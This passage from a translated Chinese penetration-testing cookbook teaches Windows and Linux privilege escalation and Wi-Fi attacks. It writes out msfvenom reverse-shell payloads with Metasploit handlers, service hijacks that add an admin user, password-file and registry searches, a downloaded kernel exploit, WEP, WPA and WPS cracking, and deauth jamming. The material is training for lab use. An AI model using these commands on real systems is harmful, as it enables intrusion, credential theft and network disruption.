  • wmic qfe get Caption,Description,HotFixID,InstalledOn:此命令执行 WMIC 接口;qfe代表快速修复工程get参数允许我们设置要查看的特定列

  • . ./ Invoke-MS16-032.ps1:此命令执行并加载脚本

  • Invoke-MS16-032:此命令执行文件

还有更多...

使用wmic命令还有其他升级权限的方法;当查询wmic时,这不是唯一的漏洞。我们可能会发现更多尚未安装的补丁。现在让我们看看如何收集敏感信息以帮助提升权限。

敏感信息收集

通常情况下,网络管理员必须编写脚本来自动化公司网络中数千台计算机的流程。在每台系统上进行单独配置是一项繁琐且耗时的任务。可能会出现因疏忽而导致敏感文件在系统中被遗留的情况。这些文件可能包含密码。一旦我们检索到受损系统的哈希值,我们就可以使用它们来执行PTH传递哈希)攻击,并访问系统中找到的不同帐户。同样,如果用户在多个系统上使用相同的密码,可以使用相同的哈希值在另一台机器上执行 PTH 攻击来获得该用户的访问权限。我们可能会找到许多可能帮助我们提升权限的敏感信息。

准备工作

一个 Windows 系统,一个 Kali 机器,以及对受损机器的远程 shell 访问基本上就是这个配方所需要的一切。

如何做...

  1. 使用以下命令搜索文件系统中包含某些关键字的文件名:
      dir /s *pass* == *cred* == *vnc* == *.config*

输出将如下所示的屏幕截图:

如何做...

  1. 要搜索与给定关键字匹配的特定文件类型,请使用以下命令:
      findstr /si password *.xml *.ini *.txt

输出将如下所示的屏幕截图:

如何做...

  1. 要搜索包含密码等关键字的注册表,请使用以下命令:
      reg query HKLM /f password /t REG_SZ /s
      reg query HKCU /f password /t REG_SZ /s

  1. 我们还可以搜索可能暴露某些信息的未经处理或配置文件。看看系统上是否可以找到以下文件:
      c:\sysprep.inf
      c:\sysprepsysprep.xml
      %WINDIR%\Panther\Unattend\Unattended.xml
      %WINDIR%\Panther\Unattended.xml
      Note: we found Unattended.xml in the screenshot shared above.

  1. 还有其他一些样本 XML 文件可能会引起我们的兴趣。看看它们:
      Services\Services.xml
      ScheduledTasks\ScheduledTasks.xml
      Printers\Printers.xml
      Drives\Drives.xml
      DataSources\DataSources.xml

还有更多...

桌面上可能有文件,或者在共享文件夹中,包含密码。其中可能还有包含存储密码的计划程序。最好在操作系统中搜索一次,找到可能有助于提升权限的敏感信息。

未引用服务路径利用

在这个配方中,我们将练习利用和获取高级用户对未引用服务路径的额外权限。首先,让我们了解什么是未引用的服务路径。我们所说的是指定/配置的服务二进制文件路径没有加引号。这只有在低权限用户被赋予对系统驱动器的访问权限时才有效。这通常发生在公司网络中,用户被允许添加文件的例外情况。

让我们看一下以下屏幕截图,更好地理解这个问题:

未引用服务路径利用

如果我们看一下可执行文件的路径,它是没有加引号指定的。在这种情况下,可以绕过 Windows 的执行方法。当路径之间有空格,并且没有用引号指定时,Windows 基本上是以以下方式执行的:

    C:\Program.exe
    C:\Program\FilesSome.exe
    C:\Program\FilesSome\FolderService.exe

在前面的情况下,Foxit Cloud Safe Update Service 的路径是没有引号的,这基本上意味着它将搜索绝对路径,并导致Program.exe文件被执行的情况。现在让我们执行这个实际的例子,看看它是如何工作的。

准备工作

为了做好准备,我们需要 Metasploit 和 Foxit Reader,可以在filehippo.com/download_foxit/59448/找到。易受攻击的版本是 Foxit Reader 7.0.6.1126。一旦安装了 Foxit,我们就可以继续我们的配方。

如何操作...

  1. 运行 Windows cmd 并输入以下命令:
      sc qc FoxitCloudUpdateService

输出将如下截屏所示:

如何操作...

  1. 我们看到二进制路径没有被引号括起来。现在我们将继续在我们的 Kali 机器上使用msfvenom制作一个反向 shell,用于这个 Windows 框架。在 Kali 终端中输入以下命令,替换您在 Kali 上获得的 IP 和所需的端口:
      msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP       Address> LPORT=<Your Port to Connect On> -f exe > Program.exe

输出将如下截屏所示:

如何操作...

  1. 在您的 Kali 机器上使用以下命令启动一个反向处理程序:
      use exploit/multi/handler
      set payload windows/meterpreter/reverse_tcp
      set lhost x.x.x.x
      set lport xxx
      exploit

输出将如下截屏所示:

如何操作...

  1. 现在,让我们将这个文件放在 Windows 系统上。由于我们专注于权限提升,我们将简单地将其托管在 Web 服务器上,并在 Windows 机器上下载它。

  2. 一旦文件下载完成,我们找到一种方法将其放在C驱动器中,以便路径类似于C:\Program.exe。只有在权限设置不正确,或者错误配置的 FTP 设置将路径指向C驱动器,或者允许我们将我们的代码粘贴到路径上的任何错误配置时,才有可能实现这一点:如何操作...

  3. 现在我们将重新启动 Windows 7 系统,并等待我们的处理程序,看看是否会得到一个反向连接:如何操作...

  4. 我们成功地在重新启动时获得了一个反向连接;这是由于未加引号的服务路径漏洞。

  5. 让我们检查我们收到连接的用户级别:如何操作...

  6. 我们已经进入系统。现在我们可以在操作系统上执行任何任务而不受任何限制。

它是如何工作的...

如介绍中所讨论的,这是因为 Windows 处理服务二进制路径的执行流程。我们能够利用任何有空格并且没有被引号括起来的服务。

让我们了解msfvenom命令:

  msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP   Address>   LPORT=<Your Port to Connect On> -f exe > Program.exe

在上述命令中,-p代表有效载荷,LHOSTLPORT是有效载荷的要求,-f表示生成有效载荷的格式。

要获取更多信息,请输入以下命令:

  Msfvenom -h

还有更多...

更多未加引号的服务路径利用示例可在 exploit-db 上找到。使用以下 Google dork 命令获取更多信息:

intitle:unquoted site:exploit-db.com 

参见...

服务权限问题

在这个教程中,我们将看看如何提升弱配置服务的权限。这里的核心关注点是,当一个服务被赋予所有访问权限时。可以想象当一个服务以系统权限运行时给予所有访问权限的恐怖。在这个教程中,我们将看一个案例研究,Windows XP 被装载了有漏洞的服务,并且可以以低权限用户的身份执行系统级命令。当这种情况可能发生时,很容易利用并提升权限到系统级。

准备工作

对于这个活动,我们将需要一台 Windows XP 机器。我们将利用运行在 Windows XP 操作系统上的 UPnP 服务。UPnP代表通用即插即用协议。我们还需要 Windows Sysinternals 套件中提供的AccessChk工具。它可以从(technet.microsoft.com/en-us/bb842062)下载。让我们继续并开始我们的教程。

如何操作...

  1. Windows XP 机器启动后,使用具有用户权限的用户名登录,在accesschk.exe文件所在的文件夹中打开命令提示符,并运行以下命令:
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

输出将如下截图所示:

操作步骤...

  1. 一旦我们知道有两个服务可以访问所有用户的权限,我们将检查服务配置。在命令提示符中输入以下命令:
sc qc upnphost

输出将如下截图所示:

操作步骤...

  1. 现在我们将更改服务的二进制路径,因为应用程序已经给予了所有访问权限。在需要恢复到原始状态时,保留服务配置的副本。现在在终端中输入以下命令:
sc config upnphost binpath= "net user attack attack@123 /add"
      sc config upnphost obj= ".\LocalSystem" password= ""

输出将如下截图所示:

操作步骤...

  1. 我们看到我们的命令已成功执行。现在让我们通过发出以下命令来验证并重新启动服务:
sc qc upnphost
      net start upnphost

输出将如下截图所示:

操作步骤...

  1. 完成后,我们会看到一个服务无响应的错误。然而,这是注定会发生的:由于二进制路径不正确,它将尝试使用系统权限执行二进制路径。在这种情况下,它应该创建一个用户。让我们通过发出以下命令来检查:
net user

输出将如下截图所示:

操作步骤...

  1. attack用户已成功创建;然而,它将是一个低级用户。让我们重新编写二进制路径。再次启动和停止 UPnP 活动,并获得管理员权限:
sc config upnphost binpath= "net localgroup administrators        attack/add"
      net stop upnphost
      net start upnphost

输出将如下截图所示:

操作步骤...

  1. 让我们检查用户 attack 的用户详细信息,以验证他/她是否已成为管理员用户:操作步骤...

工作原理...

我们在这里看到的是一个普通用户能够创建一个用户并将该用户也设为管理员。通常只有管理员或系统用户才有权限;漏洞存在于upnphost服务中,因为它已经给予了所有用户对服务的访问权限。让我们分析这些命令:

  • accesschk.exe /accepteula -uwcqv "Authenticated Users" *accesschk.exe文件是一个检查特定服务访问权限的工具。/accepteula命令是为了在我们不得不点击我同意继续的许可接受通知时静默地绕过。

  • sc qc upnphostsc是一个用于与 NT 服务控制器和服务通信的命令行程序。qc命令查询服务的配置信息。

  • sc config upnphost binpath= "net user attack attack@123 /add"config命令指定了对服务配置的编辑。在这里,我们将二进制路径设置为创建一个新用户。

  • sc config upnphost obj= ".\LocalSystem" password= ""obj命令指定了服务二进制文件执行的类型。

还有更多...

正如我们所看到的,还有一个服务是有漏洞的。看看是否也可以通过该服务提升权限是个好主意。

配置错误的软件安装/不安全的文件权限

在这个示例中,我们将看到攻击者如何利用配置错误的软件安装并提升应用程序的权限。这是一个经典的例子,安装设置配置时没有考虑用户对应用程序文件和文件夹的权限。

准备工作

对于这个示例,我们需要安装一个名为 WinSMS 的应用程序。这可以从www.exploit-db.com/exploits/40375/下载,并且可以安装在运行 XP、Vista、7 或 10 的任何 Windows 机器上。出于演示目的,我们将使用 Windows 7。除此之外,我们还需要我们的 Kali 系统运行以获取反向 shell。

如何做到的...

  1. 一旦我们安装了应用程序,我们将执行命令提示符并检查文件安装的文件夹的权限。输入以下命令:
cacls "C:\Program Files\WinSMS" 

输出将如下截图所示:

如何做到...

  1. 正如我们所看到的,有Everyone访问权限,并且拥有完全权限。这是一个严重的失误,这意味着任何有权访问系统的人都可以修改该文件夹中的任何文件。攻击者几乎可以做任何事情。攻击者可以将他的恶意文件与 WinSMS 的可执行文件放在一起,甚至替换 DLL 文件并执行他的命令。出于演示目的,我们将放置一个我们将从 Kali 创建的反向 shell,并等待连接。让我们开始。在您的 Kali 终端中,输入以下内容创建一个反向exe shell:
msfvenom -p windows/meterpreter/reverse_tcp       LHOST=192.168.157.151 LPORT=443 -f exe > WinSMS.exe

输出将如下截图所示:

如何做到...

  1. 我们下载这个可执行文件,并将其替换为安装软件的文件夹中的WinSMS.exe文件:如何做到...

现在我们用新创建的 meterpreter 文件替换 WinSMS 文件:

如何做到...如何做到...

  1. 现在我们已经放置了文件,让我们在 Metasploit 上打开一个监听器,等待看看当用户执行文件时会发生什么。在终端中输入以下命令设置 Metasploit 监听器:
      msfconsole
      use exploit/multi/handler
      set payload windows/meterpreter/reverse_tcp
      set lhost 192.168.157.151
      set lport 443
      exploit

输出将如下截图所示:

如何做到...

  1. 现在我们所要做的就是等待高级用户执行该文件,然后,哇,我们将获得该用户的反向 shell,完整地拥有他的权限。出于演示目的,我们将以管理员身份执行此文件。让我们来看一下:如何做到...

  2. 现在我们有了一个升级的 shell 可以进行交互。

它是如何工作的...

工作原理非常简单:攻击者利用不安全的文件夹权限,替换文件为恶意文件,并在等待反向连接时执行它。我们已经在之前的示例中看到了msfvenom的工作原理。因此,一旦攻击者替换了文件,他将简单地等待高权限用户的连接。

还有更多...

现在,我们故意留下了一个场景给读者:在前面的情况下,文件将被执行。但是,它不会启动应用程序,这显然会引起怀疑。读者的任务是使用msfvenom将后门附加到现有的可执行文件上,这样当它被初始化时,用户将不会知道发生了什么,因为程序将被执行。

另请参阅...

  • 可以使用 dork 找到更多关于此的示例:不安全的文件权限站点:exploit-db.com

Linux 权限提升

对于这个示例,我们将使用一个名为 Stapler 的易受攻击的操作系统。该镜像可以从www.vulnhub.com/entry/stapler-1,150/下载并加载到 VirtualBox 中。在前一章中,我们学习了如何进行漏洞评估并获得低级或高级访问权限。作为练习的一部分,读者可以进行渗透测试并在 Stapler OS 上获得 shell。我们将从接收低权限 shell 的地方继续。

做好准备

对于这个教程,读者需要在易受攻击的 Stapler OS 上拥有低权限 shell。在这种情况下,我们通过一些信息收集和密码破解成功地获得了一个用户的 SSH 连接。

如何做…

  1. 我们已经使用用户名SHayslett成功登录到 Stapler 机器,如下截图所示:如何做…

  2. 我们将枚举系统的操作系统内核版本。输入以下命令来检查版本类型和内核详细信息:

uname -a
      cat /etc/lsb-release

输出结果将如下截图所示:

如何做…

  1. 在搜索提升权限的漏洞时,发现 Ubuntu 16.04 存在漏洞:如何做…

  2. 第一次搜索是为了匹配我们的内核版本和 Ubuntu 操作系统版本。让我们继续在我们想要提升权限的机器上下载它。可以使用以下命令进行下载:

      wget https://github.com/offensive-security/exploit-database-      bin-sploits/raw/master/sploits/39772.zip
      unzip 39772.zip

输出结果将如下截图所示:

如何做…

  1. 现在我们进入39772文件夹并解压exploit.tar文件。在终端中输入以下命令:
cd 39772
      tar xf exploit.tar

输出结果将如下截图所示:

如何做…

  1. 在输入ebpf*文件夹后,会有一个compile.sh文件。让我们编译并执行该文件:
cd ebpf_mapfd_doubleput_exploit/
      ./compile.sh
      ./doubleput

输出结果将如下截图所示:

如何做…

很好。我们已成功地获得了系统的 root 权限。

它是如何工作的…

这是一个非常简单和直接的方法,用来弄清楚如何在 Linux 机器上提升权限。我们经历了以下步骤:

  • 查找操作系统和内核版本

  • 在互联网上搜索漏洞,如果有的话

  • 找到一些利用方法

  • 与我们可用的向量进行交叉验证

  • 所有向量已编译,因此我们下载并执行了内核利用程序

还有其他提升 Linux 权限的方法,比如配置错误的服务、不安全的权限等等。

还有…

在这个教程中,我们看了如何通过利用基于 OS 的漏洞来提升低级用户的权限。还有其他提升权限的方法。所有这些的关键因素都是枚举。

为了了解更多,请检查以下漏洞:

  • 操作系统和内核版本

  • 应用程序和服务

  • 在这个中,我们搜索正在以高权限或甚至 root 权限运行的服务,以及配置中是否存在任何漏洞

  • 计划任务和访问或编辑它们的权限

  • 访问机密信息或文件,如/etc/passwd/etc/shadow

  • 无人值守密码文件

  • 控制台历史/活动历史

  • 日志文件

另请参阅…

第十章:无线利用

在本章中,我们将涵盖以下内容:

  • 建立无线网络

  • 绕过 MAC 地址过滤

  • 嗅探网络流量

  • 破解 WEP 加密

  • 破解 WPA/WPA2 加密

  • 破解 WPS

  • 拒绝服务攻击

介绍

当前,无线网络正在兴起。随时随地需要即时网络访问或在任何地点随时上网的能力正在增加。员工和访客都需要进入企业网络,需要访问互联网以进行演示或推销产品;甚至员工的移动设备可能需要遵循 BYOD 政策进行无线访问。然而,应该知道,关于安全性的无线协议确实存在一些问题。通过 Mac ID 来猜测设备的正确性是唯一的方法,这是可以被利用的。在本章中,我们将探讨无线网络中观察到的不同漏洞。在我们深入之前,让我们了解一些术语:

  • Wi-Fi 接口模式

  • 主:接入点或基站

  • 托管:基础设施模式(客户端)

  • 点对点:设备对设备

  • 网状:(网状云/网络)

  • 中继器:范围扩展器

  • 监视器:RFMON=

  • Wi-Fi 帧

  • 管理帧:

  • 信标帧:接入点定期发送信标帧以宣布其存在并传递信息,如时间戳、SSID 和有关接入点的其他参数,以供范围内的无线网卡选择与之关联的最佳接入点的基础。无线网卡不断扫描所有 802.11 无线电信道,并侦听信标,作为选择与之关联的最佳接入点的基础。

  • 探测:两种类型:探测请求和探测响应:

  • 探测请求帧:当需要从另一个站点获取信息时,站点会发送探测请求帧。例如,无线网卡会发送探测请求以确定范围内有哪些接入点。

  • 探测响应帧:在接收到探测请求帧后,站点将以探测响应帧作出响应,其中包含能力信息、支持的数据速率等。

建立无线网络

无线测试的最关键部分是确保测试人员的无线设置的正确性。需要对适当的测试环境进行广泛的配置,用户应该对无线通信协议有相当的了解。整个测试的核心组件之一是无线适配器。错误的无线适配器可能会破坏整个测试活动。依赖于软件,aircrack-ng 套件在无线测试中发挥了重要作用。无线适配器的兼容性列表可以在www.aircrack-ng.org/doku.php?id=compatibility_drivers找到。对于我们的演示目的,我们将使用 ALFA 卡型号ALFA AWUS0360H;它支持bg协议。Kali 支持的一些无线适配器有:

  • Atheros AR9271

  • Ralink RT3070

  • Ralink RT3572

  • Realtek 8187L(无线 G 适配器)

在选择 Wi-Fi 卡时,可以考虑以下内容以进行更好的选择:

  • 802.11a-5 GHZ 速率:最高 54 Mbps

  • 802.11b-2.4 GHZ 速率:最高 11 Mbps

  • 802.11g-2.4 GHZ 速率:最高 54 Mbps

  • 802.11n-2.4 GHZ 速率:最高 300 Mbps

  • 802.11ac(草案)-5 GHZ 速率:最高 1.73Gps!!!

准备工作

我们将通过托管在虚拟机上的 Kali 机器进行无线测试。要设置无线网络,我们需要 Kali 操作系统、无线适配器和目标无线连接。一旦这些都准备好了,我们就可以开始我们的渗透测试阶段。

如何做...

  1. 要在虚拟机上设置网卡,我们需要确保在 VMplayer 的编辑虚拟机设置中打开“自动连接新 USB 设备”选项,如下面的屏幕截图所示:如何做...

一旦设备被检测到,使用以下命令进行检查:

      ifconfig wlan0

输出将如下截图所示:

操作步骤...

  1. 让我们检查是否可以启用监视模式。监视模式允许具有无线网络接口控制器WNIC)的计算机监视从无线网络接收到的所有流量:
      airmon-ng start wlan0

输出将如下截图所示:

操作步骤...

  1. 由于我们看到一些潜在有问题的服务正在运行,我们将不得不禁用它们。我们可以通过使用kill命令和前面截图中提到的进程 ID(PID)来杀死进程:
      airmon-ng stop wlan0mon
      kill ( PID's)

输出将如下截图所示:

操作步骤...

  1. 现在我们可以开始检查是否可以打开监视模式:操作步骤...

  2. 我们已经设置好了适配器并打开了监视模式。现在我们可以开始练习了。

绕过 MAC 地址过滤

MAC 地址是尝试在无线网络上进行身份验证的用户的唯一标识。通常作为最佳实践,用户倾向于对他们的网络进行 Mac 过滤以保护自己免受攻击者的侵害;然而,更改 Mac 地址并攻击网络非常容易。在这个教程中,我们将看到如何更改无线网卡的 Mac 地址。

准备工作

执行此练习需要一个无线网卡和一台 Kali 机器。在这个教程中,我们将扫描可用的网络和连接到网络的设备,然后我们将把无线网卡的 Mac ID 更改为连接到网络的主机的 Mac ID。

操作步骤...

  1. 在开始之前,请确保通过在其接口上发出停止监视命令来停止在上一个教程中启用的监视模式:
      airmon-ng stop wlan0mon

  1. 让我们使用以下命令检查我们设备的 MAC 地址:
      ifconfig wlan0

输出将如下截图所示:

操作步骤...

  1. 现在我们将使用以下命令禁用网络接口:
      ifconfig wlan0 down

  1. 现在我们选择一个网络设备,并使用macchanger来更改我们的 Mac 地址。我们将把它更改为一个合法的经过身份验证的用户的 Mac 地址,可以通过运行下一个教程中解释的airodump-ng命令来找到:
      macchanger -m xx:xx:xx:xx:xx:xx wlan0

输出将如下截图所示:

操作步骤...

  1. 在没有 Mac 过滤的情况下,如果用户决定保持匿名,可以从以下位置获取随机的 Mac 地址:
      macchanger -r wlan0

输出将如下截图所示:

操作步骤...

  1. 现在我们可以使用以下命令启用无线设备:
      ifconfig wlan0 up

还有更多...

这是任何渗透测试活动开始之前的基本步骤,现在我们将研究破解无线协议。

嗅探网络流量

在这个教程中,我们将了解使用无线适配器来嗅探无线数据包的基础知识;为了这样做,我们将不得不将无线网卡切换到监视模式。对于嗅探,我们将使用aircrack-ng套件中的airodump-ng命令。

准备工作

我们将在这个练习中使用 Alfa 卡;确保无线适配器像之前的教程中那样连接,我们就可以开始嗅探流量了。

操作步骤...

  1. 如果无线设备未打开,请使用以下命令打开它:
ifconfig wlan0 up 

  1. 使用以下命令将卡放入监视模式:
      airmon-ng start wlan0

输出将如下截图所示:

操作步骤...

  1. 现在我们有了一个监视接口,我们将发出:
airodump-ng wlan0mon 

输出将如下截图所示:

操作步骤...

  1. 我们也可以捕获特定的 ESSID;我们只需要提到一个特定的频道并写入一个文件;在这种情况下,我们正在写入一个名为 sniff 的文件:
      airodump-ng wlan0mon --channel 6 -w sniff

输出将如下截图所示:

如何操作...如何操作...

  1. 然后可以在浏览器、Wireshark 或 Excel 中查看这些数据包,具体取决于扩展名。Wireshark 用于打开 CAP 文件,如下截图所示:如何操作...

  2. 一旦我们捕获了数据包,就可以使用键盘组合Ctrl + C终止它,文件将以 CAP 扩展名保存。

工作原理...

airodump-ng命令是aircrack-ng套件的一部分,它执行将网络上所有嗅探到的数据包转储的任务;这些数据包以.cap扩展名保存,并可以在 Wireshark 中打开。

还有更多...

到目前为止,我们已经介绍了嗅探无线数据包的基础知识。除此之外,我们还可以开始了解如何破解无线加密。

破解 WEP 加密

在这个示例中,我们将学习关于 WEP 加密破解。有线等效隐私WEP)是一种安全协议,规定在 IEEE 无线保真Wi-Fi)标准 802.11b 中,并旨在为无线局域网WLAN)提供与通常预期的有线局域网相当的安全和隐私级别。WEP 使用 RC4 加密,在 Internet 上作为 HTTPS 的一部分被广泛使用。这里的缺陷不是 RC4,而是 RC4 的实现方式。问题在于 IV 的重用。在这个练习中,我们将使用一个名为Wifite的工具。这个工具用于攻击多个 WEP、WPA 和 WPS 加密的网络。这个工具是可定制的,并且只需几个参数就可以自动化。Wifite 旨在成为“设置并忘记”的无线审计工具。

准备工作

对于这个活动,我们将需要 wifite(预装在 Kali 中),一个活动和运行的无线适配器,以及一个运行 WEP 加密的无线路由器。

如何操作...

  1. 要确保 wifite 框架已更新,请输入以下命令:
      wifite -upgrade

  1. 要列出所有可用的无线网络,请输入以下命令:
      wifite -showb

输出如下截图所示:

如何操作...如何操作...

  1. 通过这个命令,可以查看附近所有可用的无线设备。使用Ctrl + C来中断脚本。

  2. 使用以下命令再次启动 Wifite:

      Wifite

输出如下截图所示:

如何操作...

  1. 正如我们所看到的,该命令已列出了所有检测到的无线网络及其 ESSID、BSSID 等。记住与目标 ID 对应的数字。现在我们应该退出列表模式,并输入以下键盘组合:
      Ctrl + C
      3

输出如下截图所示:

如何操作...

  1. 一旦我们按下Ctrl + C组合,它会提示我们提供目标编号。完成后,wifite 将自动开始进行 WEP 破解并给出密码。

工作原理...

在后台,框架最初的操作是使用airmon-ng命令将无线适配器置于监视模式,这是aircrack-ng套件的一部分,并开始枚举列表:

  • wifite -upgrade:此命令将 wifite 框架升级到最新版本

  • wifite -showb:此命令列出网络中检测到的所有可用无线网络

WEP 破解的工作原理如下:

WEP 准备密钥计划(种子);这是用户共享的秘密密钥与随机生成的 24 位初始化向量(IV)的连接。 IV 增加了秘密密钥的寿命,因为站点可以为每个帧传输更改 IV。然后,WEP 将该输出作为生成密钥流的伪随机数生成器的结果“种子”发送。这个密钥流的长度等于帧有效负载的长度加上 32 位(完整性检查值ICV))。

WEP 失败的原因是 IV 太短且以明文形式存在;RC4 生成的 24 位字段密钥流相对较小。由于 IV 是静态的且 IV 流很短,因此它们被重复使用。关于 IV 的设置或更改没有标准;可能存在同一供应商的无线适配器最终具有相同 IV 序列的情况。

攻击者可以继续嗅探数据并收集所有可用的 IV,然后成功破解密码。更多信息,请访问www.isaac.cs.berkeley.edu/isaac/wep-faq.html

还有更多...

当 wifite 提示我们选择一个网络时,我们可以使用all功能;然而,你应该牢记你所在国家的 IT 和网络安全法律,以避免做任何非法的事情。

破解 WPA/WPA2 加密

在这个食谱中,我们将看到攻击者如何破解 WPA2 加密。WPA Wi-Fi 保护访问是 WEP 加密之后的继任者,因为 WEP 加密失败。在 WPA2-PSK 中,我们强制受害者与无线路由器进行多次认证握手,并捕获所有流量,因为握手包含预共享密钥。一旦我们获得了大量的握手,我们尝试基于字典的密码猜测来对捕获的数据包进行猜测,以查看我们是否能成功猜出密码。在这个食谱中,我们将看到 WPA/WPA2 如何被破解。

准备工作

为此,我们将完全依赖于aircrack-ng套件;因为它在 Kali 中预先构建,我们不需要进行太多配置。我们还需要一个使用 WPA/WPA2 加密的无线路由器。让我们开始吧。

如何做...

  1. 首先,我们将使用以下命令将我们的无线设备切换到监视模式:
      airmon-ng start wlan0

  1. 我们可以使用以下命令列出所有可用的无线网络:
      airodump-ng wlan0mon

输出将如下截图所示:

如何做...

  1. 现在我们已经有了可用无线网络的列表和我们的网络 BSSID 和 ESSID,我们可以开始捕获专门针对该信道的数据包:
      airodump-ng --bssid xx:xx:xx:xx:xx:xx -c X --write WPACrack        wlan0mon

输出将如下截图所示:

如何做...

  1. 现在我们将不得不对现有客户端进行去认证,以捕获他们对无线路由器的握手请求,因为它将包含认证凭据。只有在去认证期间,我们才能成功捕获加密密码:
      aireplay-ng --deauth 1000 -a xx:xx:xx:xx:xx:xx wlan0mon

输出将如下截图所示:

如何做...

  1. 现在经过认证的用户将被迫重新认证近 1000 次,之后,如果我们在右上角查看我们的airodump-ng,我们将找到 WPA 握手,这意味着我们成功捕获了流量。我们现在可以通过按Ctrl + C来终止转储。认证数据包越多,我们破解密码的机会就越大。

  2. 现在我们将开始对转储文件进行 WPA 破解。我们需要注意文件名以多个扩展名保存,并根据迭代号添加了-01rockyou.txt是一个包含常用密码和字母数字组合的字典,将用于对捕获文件进行猜测密码:

      aircrack-ng WPACrack-01.cap -w /usr/share/wordlists/rockyou.txt

输出将如下截图所示:

如何做...

  1. 我们已成功解密密码。

它是如何工作的...

让我们了解前面食谱的命令:

  • airmon-ng start wlan0:这将启动无线适配器并将其设置为监视模式;监视模式对于在网络上注入和嗅探数据包是必不可少的

  • airodump-ng wlan0mon:此命令列出了可用的无线网络,我们可以捕获其数据包

      airodump-ng --bssid xx:xx:xx:xx:xx:xx -c X --write WPACrack      wlan0mon:

以下是该命令的解释:

  • --bssid:这是路由器的 MAC 地址,是提供无线网络的站点
      aireplay-ng --deauth 100 -a xx:xx:xx:xx:xx:xx wlan0mon:

以下是该命令的解释:

  • --deauth:此命令向经过身份验证的客户端发送RESET数据包,以便当它们尝试重新认证时,我们可以捕获握手数据以进行破解。

Aireplay-ngairodump-ngairmon-ng命令都是 aircrack 的一部分。

还有更多...

这种方法基本上被视为暴力破解,这是目前破解 WPA 的唯一方法。支持 WPS 的路由器也可以被破解。在下一个步骤中,我们将看看如何破解 WPS。

破解 WPS

WPS代表Wi-Fi Protected Setup。这是在 2006 年引入的,WPS 的主要目的是简化将新设备添加到网络的过程;不需要记住长长的 WPA 或 WEP 密码。然而,WPS 的安全性很快就消失了;2011 年揭示了一个影响支持 WPS 的无线路由器的重大安全漏洞。

准备工作

对于这个步骤,我们将使用一个名为Reaver的工具。这是一个在 Kali Linux 中预安装的开源 WPS 破解工具。Reaver 对 WPS PIN 号进行暴力破解。一旦获得 WPS PIN,就可以恢复 WPA PSK。对于这个练习,我们需要一个启用了 WPS 功能的无线路由器。

如何操作...

  1. 要扫描启用了 WPS 的路由器,有一个与 Reaver 一起提供的名为wash的软件包;输入以下命令以列出启用 WPS 的设备。请注意,需要监视模式来查看信标数据包,了解 AP 是否支持 WPS,并确定 WPS 访问是否被锁定。这有助于我们了解攻击是否可能:
      wash -i wlan0mon

输出将如下截图所示:

如何操作...

  1. 如果用户出现以下错误,输入以下命令:
      wash -i wlan0mon -C

输出将如下截图所示:

如何操作...

  1. 我们使用-C命令来忽略FCSFrame Check Sequence)错误。一旦获得 AP 的 BSSID,我们将使用reaver命令尝试使用 Pixie Dust 方法进行 WPS 攻击:
reaver -i wlan0mon -c 1 -b xx:xx:xx:xx:xx:xx -K X -vv 

输出将如下截图所示:

如何操作...

  1. 如果无线设备包含空格,则会提到网络名称。Reaver 开始 Pixie Dust 攻击以暴力破解 PIN,并且大约需要 5 到 10 分钟。PixieWPS是一种用于离线暴力破解 WPS PIN 的工具,同时利用了一些无线接入点的低或不存在的熵。如果我们运行非 Pixie Dust 攻击,时间可能会升至 5 或 6 小时:如何操作...

工作原理...

让我们深入了解命令及其功能:

  • wash -i wlan0mon:此命令扫描所有启用 WPS 的设备。

  • wash -i wlan0mon -C-C命令忽略 FCS 数据包

  • reaver -i wlan0mon -c X -b xx:xx:xx:xx:xx:xx -K x -vv

  • -i:这指定与指定接口的交互

  • -b:这指定使用 BSSID

  • -K(x)X是数字类型,K是设置 Pixie Dust 的参数

  • -c:指定网络运行的信道

  • -vv:这会显示有关脚本正在执行的更多非关键信息,以更好地理解过程

还有更多...

PixieWPS 是一种用于离线暴力破解 WPS PIN 的工具,同时利用了一些无线接入点的低或不存在的熵,也被称为 Pixie Dust 攻击;这是 Dominique Bongard 发现的。PixieWPS 工具(由 wiire 开发)诞生于 Kali 论坛。

在下一个步骤中,我们将看到拒绝服务攻击是如何在网络上发生的。

拒绝服务攻击

最主要的攻击之一是拒绝服务攻击,整个无线网络都可以被破坏;在这种攻击中,合法用户将无法访问网络。无线网络很容易受到这种攻击。由于用户的识别是基于 Mac 地址的,因此很难追踪这种活动的来源。这种情况发生的几种方式包括伪造假的源地址,或者通过复制路由器请求配置更改。一些设备也会通过完全关闭网络来响应 DoS 攻击。一种方法是向无线网络发送垃圾数据包或持续向网络上的所有用户发送 Deauth 数据包。

在这个教程中,我们将看到 DoS 攻击是如何发生的。

准备工作

我们需要一个正在积极浏览互联网或网络的用户,另一端我们将有我们的 Kali Linux 机器和连接到它的无线适配器。

操作步骤...

  1. 执行 DoS 攻击最简单的方法之一是 Deauth 攻击;在这里,我们将使用aireplay通过以下命令对网络执行 Deauth 攻击:
      aireplay-ng --deauth 100 -a (BSSID) -c wlan0mon

输出将如下截图所示:

操作步骤...

  1. Websploit 中还有一些有效载荷;其中一个称为 Wi-Fi 干扰器。在 Kali 终端中使用以下命令执行:
      websploit
      use wifi/wifi_jammer
      show options
      set bssid xx:xx:xx:xx:xx:xx
      set essid xx:xx:xx:xx:xx:xx
      set interface wlanx
      set channel x
      run

输出将如下截图所示:

操作步骤...

  1. bssid的连接被渲染为不可访问:操作步骤...

工作原理...

让我们了解在这个教程中使用的命令:

  • aireplay-ng --deauth 100 -a (BSSID) -c wlan0mon:这里,--deauth命令启动一个deauth请求,后跟100,指定deauth请求发送 100 次。

如果攻击者想要持续发送 Deauth 并且永不停止,可以使用--deauth 0向目标发送无休止的deauth请求。

  • websploit:这将初始化 Websploit 框架

  • 使用 wifi/ wifi_jammer:这个命令将加载干扰器模块

  • set bssid xx:xx:xx:xx:xx:xx:其中xx:xx:xx:xx:xx:xx将是bssid;对essid也是一样的

  • 设置接口 wlanx:wlanx将是我们的适配器连接的接口

  • run:这将执行脚本并启动攻击

还有更多...

无线攻击很难被发现;最好的方法就是采取预防和加固措施。SANS 已经制定了一个非常好的清单,讨论了无线网络的加固措施。可以在www.sans.org/score/checklists/wireless找到。

还有其他工具可以提供无线攻击的上述功能。

对于理解 BSSID、ESSID 和监视模式有困难的读者,这里有一个解释:

  • BSSID:这是接入点的 Mac 地址;BSSID 代表基础服务站 ID。

  • ESSID:这是 WLAN 网络的名称,用户连接到 WLAN 网络时看到的可读名称。

